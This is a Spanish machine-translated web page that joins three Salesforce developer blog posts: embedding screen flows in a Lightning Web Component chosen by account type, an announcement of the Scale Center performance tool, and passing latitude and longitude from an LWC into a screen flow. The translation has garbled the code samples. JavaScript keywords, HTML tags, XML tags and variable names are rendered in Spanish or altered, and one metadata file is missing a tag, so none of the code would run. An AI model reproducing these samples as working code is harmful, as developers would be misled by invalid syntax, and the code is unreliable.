  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciará y mostrará el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en función de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representará si la condición correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="estándar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-relámpago> </div>
</plantilla>
embedFlowToLWC.js

Este código JavaScript de muestra usa el decorador @api para crear propiedades públicas. Por ejemplo, recordId es una propiedad reactiva pública que contiene el ID de la página de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una función del módulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importación se utilizan para importar los módulos y las dependencias necesarios. LightningElement es el componente básico para crear componentes web Lightning.
  • account({ error, data }) es una función que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero según el tipo de cuenta.
  • get inputVariables() es un método captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } más si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnológico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acción después de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente está diseñado para usarse en una página de registro en Lightning App Builder.



<?versión xml=”1.0″ codificación=”UTF-8″?>
<LightningComponentBundle xmlns=”http://soap.sforce.com/2006/04/metadata”>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>relámpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Salesforce Scale Center está generalmente disponible ☁️

Salesforce Scale Center está generalmente disponible ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Salesforce Scale Center está generalmente disponible | Blog de desarrolladores de Salesforce

Trailblazer.me estará fuera de línea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pacífico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podrá iniciar sesión en ninguna aplicación relacionada, incluidas Ayuda y capacitación, AppExchange, Trailhead y Trailblazer Community, y más.

Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicación diseñada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con información mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las métricas de rendimiento de la organización y a los conocimientos prácticos.

En esta publicación, escuchará cómo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.

La importancia de construir a escala

Escalar de manera eficiente es un aspecto crítico del diseño e implementación de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Diseñar para el futuro y predecir y simular el tráfico comercial futuro puede ser un desafío. Si bien algunos errores pueden detectarse durante la fase de diseño, la mayoría de los errores ocurren solo durante el tiempo de ejecución en producción y, a veces, se manifiestan durante las cargas máximas.

Salesforce Scale Center proporciona la visibilidad necesaria de las métricas de rendimiento necesarias para aislar los puntos críticos y la capacidad de profundizar en estos puntos críticos para el análisis de la causa raíz y la guía de remediación. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicación de manera proactiva en lugar de reactivamente, asegurando soluciones más disponibles, receptivas y de rendimiento para su usuario final.

Obtenga una visión completa de sus métricas de rendimiento

Salesforce Scale Center permite a los clientes ver una instantánea de las métricas de rendimiento de su organización durante un intervalo de tiempo definido. A los clientes se les proporciona un panel único de visualización de errores comunes, incluidos inicios de sesión fallidos, errores de Apex simultáneos y errores de Rowlock. Además, los clientes pueden ver las métricas clave visualizadas en un gráfico durante la duración del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar rápidamente puntos críticos de rendimiento y escala.

Llevar a cabo un análisis profundo de un problema de rendimiento

Caso de uso: optimización del rendimiento de la base de datos

Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos críticos, problemas y picos dentro de las métricas de rendimiento, los clientes pueden investigar los componentes y sistemas que están causando el problema.

Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicación lleva mucho tiempo y falla con frecuencia. A continuación, explicaremos cómo puede abordar este problema utilizando Salesforce Scale Center.

  1. Navegue hasta el gráfico de CPU de la base de datos .

2. En el gráfico, haga clic y arrastre para resaltar los picos en las métricas de rendimiento.

3. Seleccione el tipo de informe e inicie un análisis de la base de datos.

4. Cambie a la pestaña Análisis de rendimiento para ver el informe generado.

5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qué acciones específicas están provocando una mala experiencia del usuario final.

Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, Límites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los análisis.

Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.

Comparar el rendimiento en diferentes períodos de tiempo

Salesforce Scale Center permite a los clientes comparar las métricas de rendimiento de la organización en diferentes períodos de tiempo. Los casos de uso clave incluyen:

  • Preparación para la implementación de producción:
    • Realice pruebas de rendimiento en un entorno de espacio aislado
    • Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producción
  • Evaluación del impacto posterior a la implementación:
    • Después de un lanzamiento importante o una implementación de funciones en producción, aproveche Scale Center para comparar las métricas de la organización antes y después de la implementación.
    • Determinar si la implementación ha tenido algún impacto negativo en el desempeño general de la organización.
  • Análisis del rendimiento durante los días pico:
    • Utilice la función de comparación de Scale Center para evaluar el impacto en el rendimiento de la organización durante los días pico.
    • Compare las métricas de tráfico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.

Cómo comparar períodos de tiempo en Salesforce Scale Center

  1. Proporcione un rango de tiempo base y un rango de tiempo de comparación.

2. Compare las métricas de primera línea.

3. Compare los gráficos de rendimiento de la organización.

Al aprovechar la función de comparación de Scale Center, los desarrolladores pueden obtener información valiosa sobre el rendimiento de la organización, identificar áreas de optimización y garantizar un proceso de implementación fluido y eficiente.

Comience con Salesforce Scale Center

Scale Center es de uso gratuito y está disponible en todas las organizaciones de sandbox de copia completa y de producción de UE.

Consideraciones del producto:

  • Scale Center no tiene impacto en el rendimiento de la organización y no accede a los datos de su organización
  • Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
  • Si desea que Scale Center esté habilitado en una organización fuera de UE, comuníquese con su representante de cuenta

Para acceder al Centro de escala:

  1. Navegue a Configuración.
  2. Ingrese "Centro de escala" en el cuadro Búsqueda rápida y haga clic en la pestaña Rendimiento de la organización en la hoja Rendimiento.
  3. Habilite Scale Center para su organización activando la opción Habilitar Scale Center .

Tenga en cuenta que las métricas de rendimiento pueden tardar hasta dos horas en aparecer después de habilitar Scale Center.

Más recursos

Sobre el Autor

Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Pasar datos del componente web Lightning al flujo de pantalla

Pasar datos del componente web Lightning al flujo de pantalla

Última actualización el 17 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo pasa datos del componente web lightning al flujo de pantalla principal?

Objetivos:

Después de leer este blog, podrá:

  • Incruste un componente web relámpago dentro del flujo de pantalla
  • Pase los datos del componente web lightning a una variable de flujo
  • Interactuar con el componente web lightning y los elementos de flujo de pantalla en la misma pantalla
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Uso del componente web Lightning para mostrar un banner de alerta
  2. Obtenga el Id. de registro y el nombre de la API del objeto en el componente web Lightning

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel tiene un requisito comercial para hacer lo siguiente:

  1. Desarrollar un componente LWC capaz de recibir entradas de latitud y longitud.
  2. Pase los valores introducidos a los componentes de flujo de pantalla correspondientes.

Construir pantallas con componentes reactivos

Con la función Crear pantallas con componentes interactivos (actualmente en versión beta), ahora puede habilitar la interacción directa entre un componente web Lightning y otros elementos de flujo en la misma pantalla.

Anteriormente, no existía una disposición directa para la interacción dinámica entre un componente web Lightning y los elementos de flujo. Como resultado, los usuarios tenían que navegar a la siguiente pantalla para ver los datos pasados por el componente web Lightning en Screen Flow.

Enfoque de Campeón de Automatización (I-do):

Al crear el componente web Lightning, también utilizaremos el evento FlowAttributeChangeEvent . Esto permitirá que un componente controle la navegación del flujo y notifique al flujo los cambios en los valores de los atributos.

Los eventos FlowAttributeChangeEvent solo se admiten en componentes donde el destino es lightning__FlowScreen .

Práctica guiada (nosotros hacemos):

Hay 2 pasos para resolver el requisito empresarial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un componente web Lightning de ubicación de entrada para Screen Flow
  2. Pasos de flujo de Salesforce
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una pantalla para mostrar el componente personalizado de ubicación de entrada
    3. Agregar un componente de número de entrada para mostrar la latitud desde la ubicación de entrada Componente LWC
    4. Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

Paso 1: Cree un componente web Lightning de ubicación de entrada para Screen Flow

En primer lugar, cree un componente web Lightning de ubicación de entrada con el siguiente código. El componente lightning-input-location representa un campo de geolocalización compuesto que acepta valores de latitud y longitud introducidos por el usuario, siendo ambos coordenadas geográficas expresadas en grados decimales. Le permite identificar ubicaciones utilizando estas coordenadas.

El rango aceptable para la latitud está entre -90 y 90, mientras que la longitud acepta valores de -180 a 180. Cualquier entrada más allá de estos rangos especificados genera un mensaje de error. Este ejemplo muestra un campo de geolocalización compuesto, que muestra una latitud de 27,70750 y una longitud de -122,3948370.

Si no sabe cómo crear un componente Lightning, consulte esta guía para desarrolladores, Crear un componente web Lightning .

lwcToScreenFlow.html

Utilizaremos el componente de ubicación de entrada de rayos para aceptar valores de latitud y longitud. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • latitude={latitude} :- Esto vincula la propiedad de latitud de la clase JavaScript de LWC con el atributo de latitud del componente.
  • longitude={longitude} :- Similar a la latitud, esto une la propiedad de longitud de la clase JavaScript de LWC con el atributo de longitud del componente.
  • onchange={handleChange} :- Esto configura un detector de eventos en el componente. Cada vez que cambia el valor del componente (ya sea latitud o longitud), se llama al método handleChange de la clase JavaScript de LWC.

<plantilla> <relámpago-entrada-ubicación etiqueta="Coordenadas predeterminadas" latitud={latitud} longitud={longitud} onchange={handleChange}> </ubicación-de-entrada-del-relámpago>
</plantilla>
lwcToScreenFlow.js

Este código JavaScript de muestra utiliza el decorador @api para crear propiedades públicas, es decir, accesibles desde otros componentes o utilizadas en plantillas HTML. Por ejemplo, @api latitude y @api longitude declaran dos propiedades públicas.

  • FlowAttributeChangeEvent crea y distribuye el evento personalizado que transfiere datos del componente web Lightning a un flujo.
  • handleChange(event) es un método de controlador de eventos que se llama cuando ocurre un evento de cambio en el componente lightning-input-location en la plantilla HTML de LWC.
  • this.latitude = event.target.latitude y this.longitude = event.target.longitude , estas líneas actualizan las propiedades de latitud y longitud con los valores del objetivo del evento (el componente lightning-input-location).
  • [“latitud”, “longitud”].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(loc, this[loc]))) , esta línea recorre una matriz que contiene cadenas de latitud y longitud, y para cada uno de estos, envía un nuevo FlowAttributeChangeEvent.

importar { LightningElement, api } desde 'lwc';
importar {FlowAttributeChangeEvent} desde 'lightning/flowSupport'; exportar la clase predeterminada LwcToScreenFlow extiende LightningElement { @api latitud; @api longitud; handleChange(evento){ esta.latitud = evento.objetivo.latitud; this.longitude = event.target.longitude; ["latitud", "longitud"].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(ubicación, esta[ubicación])) ); }
}
lwcToScreenFlow.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder. El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__FlowScreen significa que este componente está diseñado para usarse en las pantallas de Salesforce Flow.

Los elementos targetConfigs y targetConfig le permiten definir propiedades que se pueden establecer en el contexto del constructor. En este caso, las propiedades son latitud y longitud . Ambos están configurados para ser del tipo Integer y tienen la función de outputOnly , lo que significa que se pueden configurar en el flujo, pero el usuario no puede modificarlos dentro del componente. Estas propiedades se pueden usar para pasar datos del LWC al flujo.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>58.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="relámpago__FlowScreen"> <property label="Latitude" name="latitude" type="Integer" role="outputOnly"/> <property label="Longitud" name="longitud" type="Integer" role="outputOnly"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>

Paso 2.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una pantalla para mostrar el componente personalizado de ubicación de entrada

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Paso 2.3: Agregue un componente de número de entrada para mostrar la latitud desde el componente LWC de ubicación de entrada

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.latitude}
  3. Haga clic en Listo.

Paso 2.4: Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.longitude}
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : Pase de Screen Flow a LWC {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo